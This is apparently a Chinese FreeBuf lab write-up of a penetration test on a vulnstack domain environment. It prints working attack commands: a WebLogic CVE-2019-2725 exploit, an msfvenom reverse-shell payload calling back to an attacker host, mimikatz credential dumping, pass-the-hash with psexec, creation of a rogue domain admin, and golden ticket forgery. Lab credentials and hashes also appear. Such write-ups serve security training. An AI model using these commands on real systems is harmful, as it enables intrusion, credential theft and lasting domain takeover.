freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

对域环境靶场的渗透与思考
2021-05-28 11:19:08

免责声明

郑重声明:本文所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途,否则后果自行承担!

前言

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
本次红队环境主要采用Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX

1. Bypass UAC
2. Windows系统NTLM获取(理论知识:Windows认证)
3. Access Token利用(MSSQL利用)
4. WMI利用
5. 网页代理,二层代理,特殊协议代理(DNS,ICMP)
6. 域内信息收集
7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
8. 域凭证收集
9. 后门技术(黄金票据/白银票据/Sid History/MOF)

环境准备

0RC2G3WHP_cWRg.png

图1

域控服务器:

内网IP:10.10.10.10

系统:windows server 2012

用户名:de1ay

web服务器:

模拟外网IP:192.168.10.129

内网IP:10.10.10.80

系统:Windows Server 2008

用户名:

域成员机:

内网IP:10.10.10.201

系统:windows 7

用户名:

攻击机:

模拟外网IP:192.168.10.130

系统:kali linux

其中,web服务器配置有两张网卡,一张模拟外网网卡,对外提供web服务,一张网卡连接内网。

0x01 对目标进行简单的信息收集

知道了web服务器的外网IP,首先利用nmap进行端口及服务扫描。

扫描发现目标开启了以下端口:

0p2BYznzQ_3zme.png

图2

其中通过端口初步判断目标机存在的服务及可能存在的漏洞,如445端口开放就意味着存smb服务,存在smb服务就可能存在ms17-010/端口溢出漏洞。开放139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞。开放1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。开放3389端口,就存在远程桌面。开放7001端口就存在weblogic服务。

0x02 对目标端口服务进行漏洞检测

1 445端口

永恒之蓝介绍:

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

于是首先就利用445端口,进行永恒之蓝的漏洞检测:

KGPeqBXa_6ZX9.png

图3

发现漏洞,尝试ms17-010利用模块(ms17010eternalblue)打一打:

M7xjdnJP_LvsI.png

图4

无法利用,选择ms17-010的命令执行模块(ms17010command)尝试是否能利用:

0PaRyTRP7_FnJv.png

图5

发现没有开放管道,无法利用。

2 135/3389端口

其次就是135端口,查看网上的资料发现,它或许存在弱口令,然而需要用到其他工具且它爆破的是主机的用户名与密码,那么就和3389端口的爆破相似,于是选择直接爆破3389端口。

利用hydra爆破3389端口,默认用户名为Administrator,没爆出来:

0k8AXyysx_c4Dy.png

图6

后面用户名也用上小字典,没爆出来。

3 1433端口

然后爆破1433用户名、密码也没爆出来。

4 7001端口

访问7001端口,与它的服务器控制台,如下:

8trQTrTZ_kz8E.png

图7

7001端口对应的服务为weblogic,从github上下载漏洞扫描weblogicscan:

https://github.com/rabbitmask/WeblogicScan

对目标进行一键扫描,发现有如下漏洞:一个java反序列化漏洞

05ZIfxfrL_3Nqa.png

图8

访问如下地址,可以访问说明确实存在该漏洞:

0x2vDxYXW_xNy3.png

图9

4.1、CVE-2019-2725漏洞利用

漏洞介绍:

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

4.1.1msf漏洞利用

对发现的CVE-2019-2725漏洞,尝试利用msf相关模块(weblogicdeserializeasyncresponseservice)进行漏洞利用:

0wIkBgdNP_YAVb.png

图10

利用失败了,查找网上是否有新的利用方式。

4.1.2、下载exp漏洞利用

利用方法:

1) 去https://www.exploit-db.com/exploits/46780下载exp:

I2wTcFdR_LE6K.png

图11

2) 用以下命令生成一个反弹shell的powershell脚本:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.130 LPORT=8877 -f psh-cmd > reverse.ps1

zb88Iy4U_xUjZ.png

图12

3) 替换payload中的exploit变量为生成的ps1脚本内容。

4) 在msf中设置一个监听脚本后再用exp打目标,成功后能得到一个session:

0TIg7sNzp_Qsgb.png

图13

0avfp6sun_SQfP.png

图14

0gzIe5H9a_hmqj.png

图15

0JEPEFj9O_K3Oz.png

图16

0x03 内网信息收集

获得meterpreter后,进行初步的信息收集

1本机信息收集

sysinfo       //查看本机基本的系统信息 
getuid   //查看本机权限

0grfC5SrD_FuxX.png

图17

ipconfig /all       //查看本机的IP段以及所在域

由获取到的信息判断:

域:delay.com

   域控IP:10.10.10.10

   该主机存在双网卡:

              内网:10.10.10.80

              外网:198.168.10.129

0bLybXczI_S4ma.png

图18

0LTabzMDx_ubJv.png

图19

net localgroup administrators //查询本地的管理员组成员(通常包含域用户)

0jE9GqTUZ_AfCE.png

图20

2域内信息收集

net user /domain               //查询域内全部用户
net group "domain computers" /domain  //查询域内主机
net group "domain controllers" /domain //查询域控制器组内用户
net group "domain admins" /domain    //查询域管理员

通过查询的信息得知:

域内的用户:Administrator、de1ay、Guest、krbtgt、mssql

   域内主机:PC、WEB

   域控制器:DC

   域管组用户:Administrator

0wdrJGSOK_yMqY.png

图21

0uJctPGjn_7USw.png

图22

0KxPX8ChE_7rLk.png

图23

0x04 扫描内网存活主机

由于已经扫描出网段10.10.10.80,于是添加路由,使得能够利用msfconsole模块扫描该网段内存活主机:

run post/multi/manage/autoroute     //自动添加路由
run autoroute -p                //查看路由表信息

0aagxSfYS_CNU2.png

图24

1利用arp_sweep扫描

利用arp_sweep进行内网存活主机探测:

use auxiliary/scanner/discovery/arp_sweep
set rhost 10.10.10.1/24
run

扫描的网段似乎有误,尝试了多次只能扫到外网网段:

0HzTE9vIG_ZrML.png

图25

2利用portscan扫描

use auxiliary/scanner/portscan/tcp
set rhosts 10.10.10.0/24       //扫描网段
set rports 80 135 445 3389 8080   /添加常见的端口
run

利用portscan模块扫描却只扫到了10.10.10.80的,可能是路由添加、也有可能是端口开放问题:

0HcmpD9qL_yYIt.png

图26

3利用nmap扫描

由于msf添加路由只是能够使得msf工具通过10.10.10.0段的流量,如果想要本地的工具,如nmap也能够扫描到该网段,则需要设置代理。

msf利用socks_proxy模块设置代理服务器:

use auxiliary/server/socks_proxy 
set SRVHOST 0.0.0.0

set SRVPORT 1080

run

0NdeOs2XW_EvZF.png

图27

配置proxychains文件,执行命令:

vim /etc/proxychains4.conf

将文件内容修改成如下:

0TnhGZfha_YZ7n.png

图28

尝试用proxychains代理打开火狐浏览器访问10.10.10.80:7001发现可以打开,说明代理配置是正确的,路由添加也是正确的,那么就不知为何用msf模块扫不到10.10.10.0段主机:

Ju9njzVt_TTpV.png

图29

以上,利用proxychains模块配置好代理后,利用nmap进行扫描:

proxychains nmap -sT -Pn 10.10.10.1/24

成功扫到10.10.10.10

0VeUOyHdF_E2Eg.png

图30

4利用ICMP协议探测内网

利用ICMP协议探测内网,依次对内网中的每个IP地址执行ping命令,可以快速找出内网中所有的存活主机。使用以下命令循环探测整个C段:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I|findstr "TTL="

0HzKuZ4yO_5Af3.png

图31

5小结

扫描到两台域内主机:10.10.10.10、10.10.10.201
根据之前收集到的信息我们知道,10.10.10.10是域控的IP,主机名为DC。

0x05 内网横向渗透

1端口扫描

1.1、对10.10.10.10

proxychains nmap -sT -Pn 10.10.10.10

发现开放端口如下:53、135、445、139、3389、49167

0RDhz3t4O_x2Q4.png

图32

1.2、对10.10.10.201

proxychains nmap -sT -Pn 10.10.10.201

发现开放端口如下:445、139、3389、135、49152

0aIC2fC99_8Ant.png

图33

1.3、端口利用

既然PC和DC都开放了445端口,自然少不了尝试利用永恒之蓝漏洞getshell:

对10.10.10.10:

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 10.10.10.10
set lhost 192.168.10.130
set lport 4444
run

利用失败:

06R9B9gQy_yeEx.png

图34

对10.10.10.201:

也利用失败了:

0UnBPORjm_cJvP.png

图35

永恒之蓝利用不了,只能尝试利用其他的方法了。

2哈希利用

2.1、获取哈希

load kiwi       //加载mimikatz模块
creds_all       //列举所有凭据
kiwi_cmd sekurlsa::logonpasswords //使用mimikatz模块的获取哈希命令

加载mimikatz模块:

0MAH2juxL_EFE2.png

图36

获取失败并导致了连接的崩溃:

0Bfy4QV6J_ArCS.png

图37

连接后再次尝试,成功抓取域控及成员机账号和密码:

域控DC:用户名:administrator
密码:Aa123456!
其他域成员:用户名:de1ay
密码:1qaz@WSX




用户名:mssql
密码:1qaz@WSX

0EeCOmt8e_NOjk.png

图38

0FGLAbY3B_AGfN.png

图39

08u7XmITw_OSsj.png

图40


既然拿到域管的账号密码以及域控开放了3389端口,则可以尝试远程桌面连接域控,连接失败了:

2NNkN9YF_DRxm.png

图41

2.2、哈希传递

试试msf的哈希传递模块,可以获取域控的shell:

use windows/smb/psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set SMBpass Aa123456!
set smbuseradministrator
run

0F9SIYh99_sEnu.png

图42

并且是高权限system:

0XW8jgbx3_6eSp.png

图43

因为有了之前的经验,且开放445端口,并且域管可以登录任意域成员机,直接尝试psexec哈希传递:

nXdVgTaO_dkC6.png

图44

利用失败了,开放了3389端口,那么尝试一下远程桌面连接:

proxychains rdesktop 10.10.10.201

HvmPy7Uc_pNZY.png

图45

直接域控登录。显示该用户已登录,那么我们可以利用获取的域控权限创建域管用户:

net user test Aa123456! /add /domain   //添加域用户
net group "domain admins" test /add /domain  //将用户加入域管理员组

0ks9LYtYI_tWIT.png

图46

再次尝试远程桌面连接,成功登陆,并且是域管权限:

0nZadny8F_2BWR.png

图47

至此,域中三台机子都能被掌控。

0x06 权限维持——伪造黄金票据

1原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个

Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

2伪造过程

2.1、登陆域控,加载mimikatz模块,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:

kiwi_cmd privilege::debug
kiwi_cmd lsa /patch

使用msf kiwi模块获取hash失败,利用如下方法:

2.1.1、上传mimikatz.exe到web服务器上,在获得meterpreter的web服务器上执行:

upload  /root/mimikatz.exe   //上传mimikatz

0m6HLd67g_8IC2.png

图48

2.1.2、将mimikatz复制到域控DC的C盘的根目录下:

copy mimikatz.exe \\10.10.10.10\c$

0pcLgfGjw_vnFt.png

图49

接下来就可以到域控DC的C盘根目录下执行mimikatz.exe:

cd ../../
mimikatz.exe
privilege::debug
lsadump::lsa /patch

执行成功,成功获取到域的SID号以及krbtgt账户的哈希:

域SID:S-1-5-21-2756371121-2868759905-3853650604
krbtgt HASH:82dfc71b72a11ef37d663047bc2088fb

0PGcJMLUm_N3TW.png

图50

2.2、接下来切换到普通域用户的WEB主机,用mimikatz生成名为ticket.test的TGT凭证,用户名为域管理员用户(administrator):

kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:ticket.test

dULcYZy4_Xtb8.png

图51

生成TGT 凭证成功,名为ticket.test,然后在mimikatz中将凭证ticket.test注入进去:

kerberos::purge   //先清空所有票据
kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机Windows7中
// kerberos::ptt <票据文件>

0p7NKt5qP_8Gez.png

图52

查看当前会话中的票据:

0xWRTHKXr_VrbA.png

图53

到此,注入成功。输入“exit”退出mimikatz,此时,就可以利用这台普通域用户的主机任意访问域控制器了,如下列出域控的C盘目录:

dir \\DC\c$

0gHwUZJJp_nubj.png

图54

我发现,由于是通过打weblogic服务拿到的session,而weblogic服务是由域管理员开启的,故获得的该会话权限本身就为域管(de1ay\administ ra tor)权限。

为了更加明确伪造黄金票据的效果,重新创建了hack普通域用户登陆,尝试访问域控DC的C盘目录,发现访问被拒绝:

0sXQbUxZB_mR2T.png

图55

接下来就按照伪造黄金票据的过程,最后再次尝试,发现能够访问,成功伪造域管用户:

0CnXbjCG4_nB7m.png

图56

总结

以上,就是域环境靶场的渗透过程,从本次的域环境的渗透我们可以总结出大概的内网渗透思路:渗透内网,终极目标就是获取域控权限。从获取到内网的一台主机开始,首先就对该主机进行信息收集,可以由以下几个方面来进行信息的收集: 是否存在多个网段、是否存在域环境、查看服务/端口信息、查看当前用户权限。有域环境则想办法定位域控的IP,可以通过dump域用户的哈希甚至可能可以获取到域管的明文密码,利用hash传递进行横向渗透,拿下域控后,可以dump krbtgt用户的hash以及域的sid用以伪造黄金票据实现权限维持。

总的来说,搭建的域靶场环境较为理想,与真实的内网环境差别较大,三台域主机全部开放3389端口,也较为顺利的dump出域管的明文密码,十分顺利地就进行了主机的横向移动以及权限维持。

# 渗透 # 主机安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录